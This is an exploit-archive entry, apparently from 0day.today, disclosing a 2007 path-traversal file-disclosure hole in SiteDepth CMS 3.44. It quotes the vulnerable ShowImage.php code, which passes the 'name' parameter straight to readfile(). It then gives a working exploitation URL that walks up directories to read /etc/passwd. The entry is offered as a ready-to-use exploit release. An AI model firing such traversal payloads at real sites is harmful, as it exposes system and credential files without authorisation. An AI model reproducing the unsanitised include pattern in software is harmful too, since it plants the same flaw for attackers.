SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability

2007-06-25T00:00:00
ID 1337DAY-ID-1975
Type zdt
Reporter H4 / XPK
Modified 2007-06-25T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================================
SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability
=====================================================================




__________________________________________________________________________

[*] Sitedepth CMS 3.44 Local File Include LFI Exploit       
__________________________________________________________________________

[!] Application homepage :   http://www.sitedepth.com/
[!] Author               :   H4 / Team XPK 
[!] Bug discovered       :   2006-11-07
[!] Bug published        :   2007-06-25

---------------------------------------------------------------------

Vuln. code: ShowImage.php


<?php

  include 'sitedepth.php';
  $content_type = 'image/jpeg';
  $filename = SD_DIRS_REPOS . '/html/' . $_GET['name'];
  $filename_show = $_GET['name'];
  header ('Content-type: ' . $content_type);
  header ('Content-Disposition: inline;    filename=' . $filename_show);
  readfile ($filename);   <-------------- BAD!   
?>

---------------------------------------------------------------------

[!] Exploitation : http://noobie.com/sitedepth/ShowImage.php?name=../../../../../../../../etc/passwd

---------------------------------------------------------------------

[!] Sometimes it`s time to give instead of taking :)

[!] Greetz to Angeldust & Streets and to rest of community.



#  0day.today [2018-03-19]  #